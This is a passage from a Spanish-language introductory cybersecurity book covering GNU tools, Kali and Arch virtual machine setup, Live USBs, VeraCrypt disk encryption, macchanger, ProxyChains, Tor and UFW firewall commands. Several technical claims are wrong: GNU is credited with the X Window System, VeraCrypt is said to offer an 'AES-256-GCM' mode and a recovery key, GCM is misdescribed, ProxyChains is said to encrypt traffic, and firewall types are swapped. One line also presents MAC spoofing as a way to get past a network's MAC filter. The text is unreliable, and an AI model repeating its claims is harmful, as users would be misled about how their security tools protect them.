El proyecto GNU es conocido por desarrollar el compilador GCC
(GNU Compiler Collection), que es una herramienta fundamental
para la compilación de programas escritos en una variedad de
lenguajes de programación. Los compiladores permiten a los
programadores escribir código en lenguajes como C, C++,
Fortran y otros, que luego se traducen en instrucciones
31
ejecutables para la máquina.
Sistema de Ventanas (X Window System)
El sistema de ventanas es un componente crucial en sistemas
operativos de escritorio. El proyecto GNU también ha
contribuido al desarrollo del sistema de ventanas X, que
permite la administración de ventanas, gráficos y la
interacción con aplicaciones en entornos gráficos. Esto es
esencial en sistemas operativos como GNU/Linux.
Bibliotecas de Software
Las bibliotecas de software proporcionadas por el proyecto GNU
contienen rutinas y funciones comunes que los programas
utilizan. Estas bibliotecas, como la GNU C Library (glibc) y
la GNU C Library para matemáticas (libm), ofrecen
funcionalidades esenciales para aplicaciones y servicios.
Capítulo 3:
Instalación de
Máquinas Virtuales
32
¿que maquinas virtuales se recomiendan instalar?
Kali Linux: Kali Linux es una de las distribuciones de Linux
más populares para pruebas de penetración y ciberseguridad en
general. Viene preinstalada con una amplia gama de
herramientas de seguridad, lo que la hace ideal para
profesionales y entusiastas de la ciberseguridad.
Parrot Security OS: Al igual que Kali Linux, Parrot Security
OS es una distribución de Linux diseñada para pruebas de
seguridad y análisis forense. Proporciona una variedad de
herramientas y un entorno amigable para profesionales de la
ciberseguridad.
BlackArch Linux: BlackArch es otra distribución de Linux
basada en Arch Linux que se enfoca en la seguridad y la
investigación de vulnerabilidades. Ofrece un gran repositorio
de herramientas y paquetes específicamente orientados a la
ciberseguridad.
Arch Linux: Aunque Arch Linux no está dirigida específicamente
a la ciberseguridad, es una opción popular para aquellos que
prefieren una distribución más personalizable. Puedes instalar
y configurar herramientas de seguridad según tus necesidades.
Ubuntu: Ubuntu es una distribución de Linux ampliamente
utilizada y, aunque no está orientada exclusivamente a la
ciberseguridad, es versátil y puede utilizarse para ejecutar
máquinas virtuales de ciberseguridad. Puedes instalar
herramientas de seguridad según sea necesario.
33
Kali Linux Forensics: Esta variante de Kali se centra en la
informática forense digital. Está diseñada para ayudar a los
investigadores a recuperar datos y realizar análisis forenses
en sistemas comprometidos.
En mi elección personal, recomiendo Arch Linux como una
excelente opción en el campo de la ciberseguridad y las
pruebas de seguridad. Hay varias razones por las que considero
que Arch Linux es una elección sólida:
Personalización: Arch Linux es una distribución muy
minimalista que te permite construir tu sistema desde cero.
Esto significa que puedes instalar y configurar solo lo que
necesitas, lo que resulta en un sistema altamente
personalizado y eficiente.
Acceso a Repositorios de Seguridad: Arch Linux cuenta con
repositorios de seguridad bien mantenidos que te brindan
acceso a una amplia gama de herramientas y paquetes de
seguridad. Puedes instalar fácilmente las herramientas de
ciberseguridad que necesitas.
Actualizaciones Frecuentes: Arch Linux es conocida por su
enfoque en mantener el sistema actualizado. Esto es esencial
en el campo de la ciberseguridad, ya que las vulnerabilidades
se descubren y se parchean constantemente.
Comunidad Activa: La comunidad de Arch Linux es activa y
ofrece un valioso apoyo. Puedes encontrar documentación, foros
y recursos en línea para ayudarte a resolver problemas y
aprender más sobre seguridad.
Aprendizaje Profundo: Arch Linux ofrece una experiencia de
aprendizaje profundo. Al configurar tu sistema desde cero,
adquieres un conocimiento más profundo sobre cómo funcionan
los componentes del sistema, lo cual es valioso en
34
ciberseguridad.
Versatilidad: Arch Linux es versátil y se adapta a una
variedad de casos de uso en ciberseguridad, desde pruebas de
penetración hasta análisis forense y más.
Instalacion de la maquina virtual:
Instalar una máquina virtual con Kali Linux o Arch Linux en
VirtualBox puede ser una excelente manera de aprender y
trabajar con sistemas Linux en un entorno seguro y aislado.
Aquí tienes una guía paso a paso para la instalación de una
máquina virtual con cualquiera de estos sistemas:
Requisitos Previos:
Descarga e instala VirtualBox: Puedes descargar VirtualBox de
sitio web oficial de VirtualBox.
Descarga la ISO de Kali Linux o Arch Linux:
Para Kali Linux: Visita el sitio web de Kali Linux y descarga
la última imagen ISO.
Para Arch Linux: Visita el sitio web de Arch Linux y descarga
la última imagen ISO.
Paso 1: Crear una Nueva Máquina Virtual
Abre VirtualBox y haz clic en "Nueva" en la parte superior.
35
Ingresa un nombre para tu máquina virtual (por ejemplo, "Kali
Linux" o "Arch Linux") y selecciona el tipo de sistema
operativo (Linux).
Elige la versión del sistema operativo (en función de tu
elección, selecciona "Debian" para Kali Linux o "Other Linux
(64-bit)" para Arch Linux).
Asigna la cantidad de memoria RAM que deseas dedicar a tu
máquina virtual. Se recomienda al menos 2 GB para Kali Linux o
Arch Linux.
En la siguiente pantalla, selecciona "Crear un disco duro
virtual ahora" y haz clic en "Crear".
Paso 2: Configurar el Disco Duro Virtual
Elige el tipo de archivo de disco duro. Puedes usar el valor
predeterminado (VDI).
Selecciona si deseas que el disco sea dinámico o de tamaño
fijo. La opción dinámica suele ser más eficiente en términos
de espacio.
Asigna el tamaño del disco duro virtual. Recomendamos al menos
20 GB para Kali Linux o Arch Linux.
Haz clic en "Crear" para crear el disco duro virtual.
Paso 3: Configurar la Máquina Virtual
36
En la ventana principal de VirtualBox, selecciona tu máquina
virtual recién creada y haz clic en "Configuración".
En la sección "Almacenamiento", en "Controlador IDE", agrega
la imagen ISO de Kali Linux o Arch Linux que descargaste como
dispositivo de arranque.
En la sección "Sistema", configura el orden de arranque para
que la unidad óptica esté en la parte superior.
Paso 4: Instalar Kali Linux o Arch Linux
Inicia tu máquina virtual haciendo clic en "Iniciar". Debería
arrancar desde la imagen ISO.
Sigue las instrucciones en pantalla para instalar Kali Linux o
Arch Linux en la máquina virtual. Asegúrate de seleccionar la
partición adecuada y sigue las indicaciones del asistente de
instalación.
Configura el idioma, la zona horaria, el nombre de usuario y
la contraseña durante el proceso de instalación.
Una vez completada la instalación, reinicia la máquina
virtual.
Paso 5: Configuración Post-Instalación
Tras reiniciar, inicia sesión con las credenciales que
configuraste durante la instalación.
Realiza cualquier configuración post-instalación necesaria,
37
como la actualización del sistema, la instalación de
controladores adicionales o la configuración de la red.
Con estos pasos, tendrás una máquina virtual con Kali Linux o
Arch Linux en funcionamiento dentro de VirtualBox. Puedes
comenzar a explorar y trabajar en estos sistemas operativos de
manera segura.
Parte II:
Plugins de
Seguridad
¿para que sirve proteger y hacer anonimo mi sistema operativo?
Proteger y hacer anónimo tu sistema operativo es esencial en
el entorno digital actual por una serie de razones
fundamentales:
Privacidad: Al hacer anónimo tu sistema, puedes proteger tu
38
privacidad en línea. Esto impide que terceros, como
anunciantes o ciberdelincuentes, rastreen tu actividad en
línea y recopilen información personal sin tu consentimiento.
Seguridad: La protección de tu sistema operativo es crucial
para evitar amenazas en línea, como virus, malware y ataques
cibernéticos. Un sistema bien protegido es menos vulnerable a
ataques que podrían poner en riesgo tus datos y tu seguridad
en línea.
Censura y Restricciones Geográficas: Al hacer tu sistema
anónimo, puedes sortear restricciones geográficas y censura en
línea. Esto te permite acceder a contenido que podría estar
bloqueado en tu ubicación geográfica.
Evitar el Robo de Identidad: Proteger tu sistema es una medida
preventiva contra el robo de identidad en línea. Al hacer que
sea más difícil para los delincuentes en línea rastrearte y
acceder a tu información, reduces el riesgo de que roben tu
identidad.
Control Total: Al hacer tu sistema anónimo, tienes un mayor
control sobre quién tiene acceso a tu información y actividad
en línea. Puedes elegir con quién compartes tu información y
cuándo lo haces.
Confidencialidad: Si trabajas en un entorno que requiere la
confidencialidad de la información, como en el ámbito
empresarial o gubernamental, mantener tu sistema anónimo es
esencial para proteger datos sensibles.
Evitar Perfiles de Usuario Detallados: Al proteger tu sistema
y hacerlo anónimo, evitas la creación de perfiles de usuario
detallados que a menudo se utilizan para segmentar anuncios o
contenido. Esto te permite navegar en línea sin una publicidad
invasiva y personalizada.
39
Capítulo 4
Ciberseguridad en
el Ámbito Defensivo
¿Como defender nuestra maquina virtual de manera
defensiva?
LIVE USB:
Comencemos una de las medidas más efectivas en ciberseguridad
y privacidad: la creación y uso de un sistema operativo en un
USB booteable, conocido como Live USB. Esta herramienta te
permitirá disfrutar de un alto nivel de anonimato y seguridad
al acceder a sistemas de cómputo, incluso en redes no
confiables o públicas.
En esta sección, exploraremos cómo puedes configurar tu propio
40
Live USB, lo que implica llevar contigo un sistema operativo
completo en un dispositivo USB. Esto te proporcionará una capa
adicional de aislamiento y protección para tus actividades en
línea y tu identidad digital. Aprenderás a crear un Live USB
personalizado y a utilizarlo de manera efectiva para
garantizar la privacidad y la seguridad en un mundo digital
lleno de desafíos.
Tener un sistema operativo en un USB booteable es una
excelente medida de seguridad y privacidad, especialmente si
deseas mantener tu actividad en línea y tu identidad de
usuario de manera anónima. Un sistema operativo en un USB
booteable, a menudo llamado "Live USB," te permite llevar
contigo un entorno de trabajo completo que se ejecuta desde el
USB en lugar de tu disco duro interno. Aquí hay algunas
ventajas clave de usar un Live USB para mantener la privacidad
y seguridad:
Anonimato: Al ejecutar un sistema operativo desde un USB, no
dejas rastros en el disco duro de la computadora host. Esto
significa que tu actividad y datos personales no quedan
almacenados en la máquina que estás utilizando.
Seguridad en Redes Públicas: Cuando te conectas a una red Wi-
Fi pública o no confiable, un Live USB te permite trabajar de
manera segura sin exponer tu sistema operativo principal a
posibles amenazas.
Aislamiento de Riesgos: Si deseas realizar actividades en
línea potencialmente peligrosas, como navegar por la web
oscura o probar software sospechoso, hacerlo desde un sistema
en USB aísla tu sistema principal de posibles infecciones o
amenazas.
Portabilidad: Puedes llevar tu sistema operativo personalizado
en un pequeño USB y usarlo en cualquier computadora que admita
el arranque desde dispositivos USB. Esto te brinda
flexibilidad y acceso a tus propias aplicaciones y
configuraciones en cualquier lugar.
41
Para crear un Live USB, necesitarás una herramienta de
creación de USB booteable y una imagen del sistema operativo
que desees utilizar. Algunas distribuciones de Linux, como
Ubuntu, ofrecen imágenes diseñadas específicamente para Live
USB. También puedes personalizar tu Live USB con herramientas
de seguridad y privacidad, como navegadores anónimos y
herramientas de ciberseguridad.
luego de haber puesto como sistema operativo principal en
nuestra PC , seguiremos configurando la maquina virtual.
Cifrado de disco duro
Cifrar un disco duro es el proceso de convertir los datos en
un formato ilegible para que no puedan ser leídos por personas
no autorizadas. El cifrado se realiza utilizando un algoritmo
de cifrado, que es una fórmula matemática que se utiliza para
convertir los datos en un formato ilegible.
El cifrado de un disco duro sirve para proteger los datos de
acceso no autorizado. Si un disco duro está cifrado, los datos
solo pueden ser leídos por personas que tengan la clave de
cifrado. Esto puede ayudar a proteger los datos sensibles,
como información personal, financiera o empresarial.
Hay dos tipos principales de cifrado de disco
duro:
Cifrado de disco completo: Este tipo de cifrado cifra todos
los datos en un disco duro. Esto incluye el sistema operativo,
las aplicaciones y los archivos personales.
Cifrado de archivos: Este tipo de cifrado cifra solo los
42
archivos que selecciones. Esto puede ser útil para proteger
archivos sensibles, como documentos confidenciales o fotos
personales.
Cifrado AES-256-GCM
El cifrado AES-256-GCM es un algoritmo de cifrado simétrico
que utiliza una clave de 256 bits para cifrar los datos. El
cifrado AES-256-GCM es un algoritmo de cifrado muy seguro, y
se considera que es seguro para su uso en aplicaciones
sensibles.
El cifrado AES-256-GCM se compone de dos componentes:
AES: AES es un algoritmo de cifrado por bloques que cifra los
datos en bloques de 128 bits.
GCM: GCM es un modo de operación que agrega un resumen de
comprobación de integridad (MAC) a los datos cifrados.
El cifrado AES-256-GCM funciona de la siguiente manera:
Los datos se dividen en bloques de 128 bits.
Cada bloque de datos se cifra utilizando el algoritmo AES con
una clave de 256 bits.
El MAC se calcula a partir de los datos cifrados.
El MAC se agrega a los datos cifrados.
43
El cifrado AES-256-GCM se utiliza en una variedad de
aplicaciones, incluyendo:
HTTPS: HTTPS es el protocolo de seguridad que se utiliza para
proteger las conexiones web. HTTPS utiliza el cifrado AES-256-
GCM para cifrar los datos que se transmiten entre el cliente y
el servidor.
SSH: SSH es un protocolo de red que se utiliza para
proporcionar acceso remoto seguro a un sistema. SSH utiliza el
cifrado AES-256-GCM para cifrar los datos que se transmiten
entre el cliente y el servidor.
VPN: Una VPN es una red privada virtual que se utiliza para
crear una conexión segura entre dos redes. Las VPN suelen
utilizar el cifrado AES-256-GCM para cifrar los datos que se
transmiten entre las redes.
El cifrado AES-256-GCM es una buena opción para proteger los
datos sensibles. Es un cifrado muy seguro, y se utiliza en una
variedad de aplicaciones.
Aquí hay algunos beneficios del cifrado AES-256-GCM:
Seguridad: El cifrado AES-256-GCM es un cifrado muy seguro, y
se considera que es seguro para su uso en aplicaciones
sensibles.
Eficiencia: El cifrado AES-256-GCM es un cifrado eficiente, y
no tiene un impacto significativo en el rendimiento.
Compatibilidad: El cifrado AES-256-GCM es compatible con una
amplia gama de dispositivos y aplicaciones.
Como Cifrar Disco duro con cifrado AES-256-GCM
44
Descarga e instala VeraCrypt.
Abre VeraCrypt.
Haz clic en "Crear una nueva partición cifrada".
Selecciona el tipo de cifrado "AES-256-GCM".
Selecciona la unidad que quieres cifrar.
Introduce una contraseña para la partición cifrada.
Haz clic en "Crear".
Paso 1: Descarga e instala VeraCrypt
VeraCrypt es una herramienta de cifrado de disco duro de
código abierto. Puedes descargar VeraCrypt desde el sitio web
oficial.
Paso 2: Abre VeraCrypt
Una vez que hayas descargado e instalado VeraCrypt, abre la
aplicación.
Paso 3: Haz clic en "Crear una nueva partición
cifrada"
45
Haz clic en el botón "Crear una nueva partición cifrada" para
comenzar el proceso de cifrado.
Paso 4: Selecciona el tipo de cifrado "AES-256-
GCM"
VeraCrypt ofrece una variedad de algoritmos de cifrado.
Selecciona el algoritmo de cifrado "AES-256-GCM" para obtener
el mayor nivel de seguridad.
Paso 5: Selecciona la unidad que quieres cifrar
VeraCrypt te mostrará una lista de las unidades de disco
disponibles. Selecciona la unidad que quieres cifrar.
Paso 6: Introduce una contraseña para la
partición cifrada
Introduce una contraseña para la partición cifrada. Esta
contraseña será necesaria para acceder a los datos cifrados.
Paso 7: Haz clic en "Crear"
Haz clic en el botón "Crear" para comenzar el proceso de
cifrado.
El proceso de cifrado puede tardar varios minutos, dependiendo
del tamaño de la unidad que estés cifrando.
46
Una vez que el proceso de cifrado esté completo, tu disco duro
estará cifrado. Para acceder a los datos cifrados, deberás
introducir la contraseña que creaste en el paso 6.
Consejos para cifrar tu disco duro con VeraCrypt
Utiliza una contraseña fuerte: Tu contraseña debe ser al menos
12 caracteres de largo y debe contener una combinación de
letras, números y símbolos.
Guarda la clave de recuperación en un lugar seguro: La clave
de recuperación es la única forma de acceder a tus datos si
pierdes o olvidas tu contraseña.
Haz una copia de seguridad de tus datos: Incluso si tu disco
duro está cifrado, es importante hacer una copia de seguridad
de tus datos en caso de pérdida o daño.
Mac Changer
Comenzaremos la defensa de nuestra máquina virtual con una
herramienta esencial en el mundo de la ciberseguridad: MAC
Changer. Esta herramienta se utiliza para alterar la dirección
MAC de tu tarjeta de red, proporcionando un nivel adicional de
seguridad y anonimato en tus conexiones en red. En esta
sección, exploraremos qué es una dirección MAC, por qué es
importante y cómo MAC Changer se convierte en un aliado
crucial en la protección de tu identidad en línea y en el
acceso a redes. Aprenderás cómo esta herramienta puede ser una
parte fundamental de tu estrategia de ciberseguridad y
privacidad en el entorno digital actual.
Dirección MAC (Media Access Control): Una dirección MAC es un
identificador único asignado a la tarjeta de red de un
dispositivo. Esta dirección, compuesta por una serie de
dígitos hexadecimales, se utiliza para identificar de manera
exclusiva un dispositivo en una red. Es importante destacar
que la dirección MAC es una identificación a nivel de hardware
y, por lo tanto, es intrínsecamente única para cada tarjeta de
47
red.
MAC Changer: MAC Changer es una herramienta que permite
cambiar o "falsificar" la dirección MAC de una tarjeta de red.
Esta capacidad de alterar la dirección MAC puede ser útil en
una serie de situaciones, y su objetivo principal es
proporcionar un mayor nivel de anonimato y seguridad en la
red. A continuación, se describen algunos casos en los que MAC
Changer puede ser útil:
Anonimato en Redes Públicas: Cuando te conectas a una red Wi-
Fi pública, tu dispositivo se identifica con su dirección MAC.
Utilizar MAC Changer te permite ocultar la dirección MAC real
de tu dispositivo y, en su lugar, utilizar una dirección
falsa, lo que dificulta el seguimiento de tu actividad en
línea.
Evitar el Filtro MAC: Algunas redes pueden estar configuradas
para permitir solo dispositivos específicos mediante el uso de
un filtro MAC. Con MAC Changer, puedes cambiar tu dirección
MAC para que coincida con un dispositivo autorizado y obtener
acceso a la red.
Pruebas de Penetración y Seguridad: Los profesionales de la
ciberseguridad y los investigadores de seguridad a menudo
utilizan MAC Changer como parte de sus herramientas para
probar la seguridad de las redes. Al cambiar la dirección MAC,
pueden simular diferentes dispositivos y evaluar cómo responde
la red.
Privacidad: Al cambiar regularmente tu dirección MAC en redes
públicas o privadas, puedes mejorar tu privacidad en línea al
dificultar el seguimiento de tu actividad.
Como cambiar nuestra direccion MAC con dicho script:
48
root@kali:~# macchanger -h
GNU MAC Changer
Usage: macchanger [options] device
-h, --help Print this help
-V, --version Print version and exit
-s, --show Print the MAC address and exit
-e, --ending Don't change the vendor bytes
-a, --another Set random vendor MAC of the
same kind
-A Set random vendor MAC of any
kind
-p, --permanent Reset to original, permanent
hardware MAC
-r, --random Set fully random MAC
-l, --list[=keyword] Print known vendors
-b, --bia Pretend to be a burned-in-
address
-m, --mac=XX:XX:XX:XX:XX:XX
--mac XX:XX:XX:XX:XX:XX Set the MAC XX:XX:XX:XX:XX:XX
ahora para ver nuestra direccion MAC escribiremos
macchanger -s eth0
y saldra nuestra direccion MAC
luego escribiremos
49
macchanger -r eth0
y se modificará nuestra direccion MAC con lo cual habrémos
cambiado dicho parametro
(RECUERDA QUE CADA VEZ QUE SALGAS Y REINGRESES EN LA MAQUINA
VIRTUAL LA DIRECCION MAC VOLVERÁ A SU NORMALIDAD , ASÍ QUE
DEBERÁS CAMBIARLA CADA VEZ QUE INGRESES)
Proxy Chains
En nuestra búsqueda de fortalecer la seguridad y la privacidad
de nuestra máquina virtual, hemos llegado al siguiente paso
crucial: la utilización de "ProxyChains." Esta poderosa
herramienta es una parte fundamental de cualquier estrategia
de ciberseguridad y anonimato en línea, ya que te permite
redirigir tu tráfico a través de múltiples servidores proxy de
manera efectiva.
En esta sección, te guiaremos a través del proceso de
instalación de ProxyChains en tu máquina virtual. La
instalación se llevará a cabo a través de la terminal, lo que
garantiza un control total sobre la configuración y
personalización de esta valiosa herramienta.
ProxyChains te permitirá navegar por la web y acceder a
recursos en línea de forma anónima, al tiempo que oculta tu
dirección IP y protege tu privacidad. Además, es una
herramienta esencial para aquellos interesados en pruebas de
penetración y evaluación de la seguridad de redes.
ProxyChains es una herramienta versátil que opera como una
capa intermedia entre las aplicaciones de tu sistema y los
servidores a los que te conectas a través de la red. Su
funcionamiento se basa en el enrutamiento de tu tráfico a
través de una serie de servidores proxy, lo que proporciona
50
una capa adicional de anonimato y seguridad.
Funcionamiento Técnico:
Configuración de ProxyChains: El primer paso para utilizar
ProxyChains implica configurar el archivo de configuración de
la herramienta. En este archivo, puedes especificar una lista
de servidores proxy a través de los cuales deseas enrutar tu
tráfico. Cada servidor proxy tiene su propia dirección IP y
puerto, lo que permite que ProxyChains redirija tus
solicitudes a través de ellos en secuencia.
Selección de Proxy: Cuando una aplicación intenta realizar una
conexión a través de la red, ProxyChains intercepta esta
solicitud y la redirige a través del primer servidor proxy
configurado en la lista. El tráfico se encripta y se envía al
servidor proxy, ocultando la dirección IP real de la máquina
que realiza la solicitud.
Túneles Anidados: ProxyChains tiene la capacidad de utilizar
túneles anidados, lo que significa que puede enrutar el
tráfico a través de varios servidores proxy en su lista de
configuración. Esto crea una serie de capas de anonimato, lo
que hace que sea excepcionalmente difícil rastrear la fuente
original de la solicitud.
Salida al Destino Final: Finalmente, después de pasar a través
de todos los servidores proxy configurados, el tráfico sale
del último servidor y se dirige al destino final, que puede
ser un sitio web, un servidor remoto o cualquier otro recurso
en línea. Para el destino final, parece que la solicitud
proviene del último servidor proxy, ocultando la IP del
usuario.
ProxyChains, al utilizar múltiples servidores proxy, crea un
entorno de navegación en capas, lo que complica enormemente
cualquier intento de seguimiento o monitorización de la
51
actividad en línea.
Túneles y Espacio de Direcciones IP:
En este contexto, los "túneles" se refieren a las conexiones
secuenciales a través de múltiples servidores proxy. Cada
túnel representa un nivel adicional de anonimato, ya que
oculta aún más la dirección IP real del usuario. El espacio de
direcciones IP se refiere a la gama de direcciones IP
disponibles en Internet. Al enrutar el tráfico a través de
diferentes servidores proxy, ProxyChains efectivamente "salta"
a través del espacio de direcciones IP, haciendo que la traza
de la solicitud sea extremadamente difícil.
Instalacion de Proxychains:
Para instalar proxychains en Kali Linux, sigue estos pasos:
1. Abre una terminal y ejecuta el siguiente
comando para actualizar los repositorios:
sudo apt-get update
2. Instala proxychains con el siguiente comando:
sudo apt-get install proxychains
52
Para que proxychains sea funcional, debes configurarlo para
que use un proxy server. Para ello, abre el archivo de
configuración de proxychains con un editor de texto:
sudo nano /etc/[Link]
Dentro del archivo de configuración, encontrarás la sección
[ProxyList]. En esta sección, puedes agregar las direcciones
IP y los puertos de los proxy servers que quieras usar.
Por ejemplo, para agregar un proxy server SOCKS5 en la
dirección IP [Link] y el puerto 1080, agrega la siguiente
línea al archivo de configuración:
socks5 [Link] 1080
Guarda y cierra el archivo de configuración.
Para probar que proxychains está funcionando correctamente,
ejecuta el siguiente comando:
proxychains ping [Link]
Si el comando se ejecuta correctamente, verás una respuesta
53
del servidor web de Google.
dicho esto ya habremos finalizado la instalacion de dicho
script
(ESTE SCRIPT SERÁ FUNDAMENTAL PARA LAS BUSQUEDAS EN INTERNET)
Navegación Anónima con Tor: Tu Puerta a la Privacidad en Línea
En un mundo cada vez más digital, la privacidad en línea se ha
convertido en un activo preciado. Para aquellos que buscan
navegar por la web de forma completamente anónima y segura,
Tor es una herramienta esencial. Tor, que significa "The Onion
Router," es un proyecto de código abierto diseñado para
proteger la privacidad y la seguridad de los usuarios en
línea. Permite el acceso a la web de forma anónima al enrutar
las conexiones a través de una red de servidores voluntarios
en todo el mundo, ocultando la ubicación y la identidad del
usuario.
En esta sección, te guiaremos a través del proceso de
instalación de Tor en tu máquina virtual. También aprenderás
cómo usarlo para navegar de forma anónima y acceder a
contenido en línea sin dejar rastro. La combinación de
ProxyChains y Tor te proporcionará un nivel excepcional de
anonimato y seguridad en tus actividades en línea.
Paso 1: Instalación de Tor en tu Máquina Virtual
Abre la terminal de tu máquina virtual.
Actualiza el repositorio de paquetes con el siguiente comando:
54
sudo apt update
Instala Tor ejecutando el siguiente comando:
sudo apt install tor
Paso 2: Iniciar el Servicio Tor
Una vez que Tor esté instalado, el servicio debería iniciarse
automáticamente. Puedes verificar su estado con el siguiente
comando:
sudo service tor status
Si el servicio no está activo, puedes iniciarlo manualmente
con:
sudo service tor start
Paso 3: Configurar tu Navegador para Usar Tor
Para navegar de forma anónima con Tor, necesitas configurar un
navegador compatible. El navegador recomendado es "Tor
Browser," que está basado en Mozilla Firefox y viene
preconfigurado para funcionar con la red Tor.
Descarga "Tor Browser" desde el sitio oficial de Tor:
[Link]
Sigue las instrucciones de instalación para tu sistema
55
operativo y ejecuta el navegador.
Paso 4: Navega de Forma Anónima con Tor
Una vez que "Tor Browser" esté instalado, ábrelo y comienza a
navegar. Tu tráfico web será dirigido a través de la red Tor,
proporcionándote un alto nivel de anonimato y privacidad.
Tor es especialmente útil para acceder a contenido bloqueado
geográficamente y para mantener tus actividades en línea
completamente privadas.
Utilización de un Firewall
Los firewalls desempeñan un papel fundamental como guardianes
de la seguridad al regular el flujo de tráfico entre puertos y
aplicar diversas reglas. Estas reglas incluyen la capacidad de
aceptar, ignorar, redirigir o restringir el tráfico en puertos
específicos. Sin embargo, es importante destacar que, si bien
los firewalls cumplen con su función como centinelas de la
red, su contribución a la seguridad en entornos corporativos y
empresariales es relativamente limitada. Esto se debe a que su
principal enfoque se centra en detectar y registrar eventos
relacionados con el tráfico de la red.
Existen dos tipos fundamentales de firewalls, a saber, los
basados en software y los basados en hardware. Los primeros
pueden ser implementados en dispositivos como routers o
servidores, mientras que los últimos pueden ser configurados
en computadoras específicas. Ambas variantes tienen como
objetivo principal mantener un registro actualizado de los
eventos y movimientos que ocurren en la comunicación entre
dispositivos a través de sus respectivos puertos. Esto
garantiza un nivel de vigilancia constante en la red y permite
tomar medidas adecuadas en caso de incidentes. Puedes
consultar la Figura 2.9 para una representación visual de este
concepto.
56
Es esencial adquirir un entendimiento profundo de varios
conceptos fundamentales relacionados con la configuración de
firewalls, ya que existen tres enfoques clave para
implementarlos en una red. Estos enfoques son los siguientes:
Área de Tránsito Controlado (ATC): En esta disposición, se
establece un firewall con restricciones de servicios para los
usuarios, y se identifica un conjunto de redes o un solo
dispositivo anfitrión que cuenta con privilegios de tráfico
libre. Esto crea una ATC, donde los paquetes de entrada y
salida pueden circular de manera segura sin poner en riesgo la
red interna. La ATC funciona como un área de recepción
intermedia para garantizar la seguridad de la Intranet.
Anfitrión Puente (AP): El anfitrión puente es un dispositivo
de computación posicionado entre el router de la red
corporativa e Internet. Este anfitrión puente recibe paquetes
de entrada y evalúa sus puertos de destino. Luego, basándose
en las reglas de redireccionamiento configuradas, toma
decisiones para admitir, rechazar o redirigir el tráfico entre
la Intranet e Internet.
Puerta de Enlace o Gateway: Un enrutador desempeña la función
de puerta de enlace y es responsable de aceptar, rechazar y
redirigir el tráfico de la red. El enrutador también
implementa directivas para la denegación de servicios en
puertos específicos. Una ventaja fundamental de esta
configuración es que el enrutador ya incorpora estas
capacidades de forma predeterminada.
La implementación de un firewall se puede llevar a cabo de
tres maneras diferentes:
Firewall de Red con Base en Anfitrión: En este caso, un
dispositivo ejerce la función de firewall entre la Intranet e
Internet. Su objetivo es supervisar y filtrar el tráfico
entrante y saliente.
57
Firewall Basado en el Anfitrión: En lugar de tener un solo
firewall de red, se instalan firewalls en cada dispositivo
individual. Cada dispositivo cuenta con su propio firewall,
que regula el tráfico en ese dispositivo específico. Ejemplos
de este enfoque incluyen software de firewall como GlassWire o
Comodo.
Firewall Basado en Routers: Algunos enrutadores incorporan
características de firewall. Estos dispositivos pueden
aceptar, rechazar y redirigir el tráfico de la red y disponen
de reglas para la denegación de servicios en puertos
específicos.
Firewall de Dispositivos: Algunos dispositivos de hardware
incluyen firewalls internos que son configurables a través del
sistema operativo o el software proporcionado por el
fabricante al instalar el controlador. Estos firewalls aportan
una capa adicional de seguridad y se pueden personalizar según
los requisitos particulares del usuario.
UFW (Uncomplicated Firewall) y su sencillez
Cuando se trata de asegurar la integridad y la privacidad de
tus sistemas Linux, contar con una sólida solución de firewall
es esencial. Entre las opciones disponibles, UFW, abreviatura
de "Uncomplicated Firewall", destaca como una de las mejores
elecciones, especialmente para aquellos que buscan una
herramienta de firewall eficaz y fácil de usar.
La Sencillez de UFW:
Lo que hace que UFW sea una elección sobresaliente es su
enfoque en la simplicidad. Su diseño intuitivo y su sintaxis
fácil de comprender permiten a los usuarios, incluso a
aquellos con menos experiencia en administración de sistemas,
configurar reglas de firewall de manera rápida y precisa. Este
58
enfoque simplificado no compromete la seguridad, ya que UFW
utiliza la potencia de iptables, la infraestructura de
firewall de Linux, en segundo plano.
Configuración Flexible:
UFW ofrece una amplia gama de opciones de configuración.
Puedes definir reglas para permitir o denegar tráfico de red
según los puertos, protocolos y direcciones IP. Además, puedes
personalizar fácilmente las reglas para adaptarse a tus
necesidades específicas. Esto hace que UFW sea adecuado tanto
para entornos de usuario individual como para servidores
empresariales.
Integración con Aplicaciones:
Una de las ventajas adicionales de UFW es su capacidad de
integración con aplicaciones específicas. Puedes configurar
reglas para aplicaciones o servicios específicos, lo que
facilita la administración de la seguridad en entornos
complejos.
Mi Opinión Personal:
Si me preguntaran por qué usaría UFW, la respuesta es simple:
su facilidad de uso y su capacidad para proporcionar una
protección sólida. Como herramienta de seguridad, UFW me
permite configurar y administrar un firewall de manera
efectiva, incluso en sistemas Linux con los que no estoy tan
familiarizado. La simplicidad de su interfaz no sacrifica la
seguridad, y eso es crucial. En un mundo donde la seguridad
cibernética es de vital importancia, UFW se destaca como una
opción confiable y accesible.
Instalacion de UFW en Kali
59
Paso 1: Instalar UFW
UFW viene preinstalado en la mayoría de las distribuciones de
Linux, pero si no está instalado, puedes instalarlo con el
siguiente comando:
sudo apt install ufw
Paso 2: Configurar las políticas predeterminadas
Por defecto, UFW bloquea todas las conexiones entrantes y
permite todas las conexiones salientes. Esto es una buena
práctica de seguridad, ya que impide que los atacantes accedan
a tu servidor sin permiso.
Para configurar las políticas predeterminadas, ejecuta el
siguiente comando:
sudo ufw default deny incoming
Este comando bloqueará todas las conexiones entrantes.
Para permitir todas las conexiones salientes, ejecuta el
siguiente comando:
sudo ufw default allow outgoing
Paso 3: Habilitar conexiones SSH
60
SSH es un protocolo de red que te permite conectarte a tu
servidor de forma remota. Es importante habilitar las
conexiones SSH para que puedas acceder a tu servidor desde
otro dispositivo.
Para habilitar las conexiones SSH, ejecuta el siguiente
comando:
sudo ufw allow ssh
Paso 4: Habilitar UFW
Una vez que hayas configurado las políticas predeterminadas y
habilitado las conexiones SSH, puedes habilitar UFW para que
comience a bloquear las conexiones entrantes.
Para habilitar UFW, ejecuta el siguiente comando:
sudo ufw enable
Ver la configuración actual del firewall
Puedes ver la configuración actual del firewall con el
siguiente
comando:
sudo ufw status
Este comando mostrará una lista de todas las reglas de
61
firewall que están actualmente en vigor.
Permitir otras conexiones entrantes
Puedes permitir otras conexiones entrantes según protocolo, IP
de origen y otros parámetros.
Para permitir una conexión entrante, ejecuta el siguiente
comando:
sudo ufw allow [protocolo] [dirección IP] [puerto]
Por ejemplo, para permitir conexiones HTTP entrantes desde
cualquier dirección IP, ejecuta el siguiente comando:
sudo ufw allow http
Denegar conexiones entrantes
Puedes denegar conexiones entrantes según protocolo, IP de
origen y otros parámetros.
Para denegar una conexión entrante, ejecuta el siguiente
comando:
sudo ufw deny [protocolo] [dirección IP] [puerto]
62
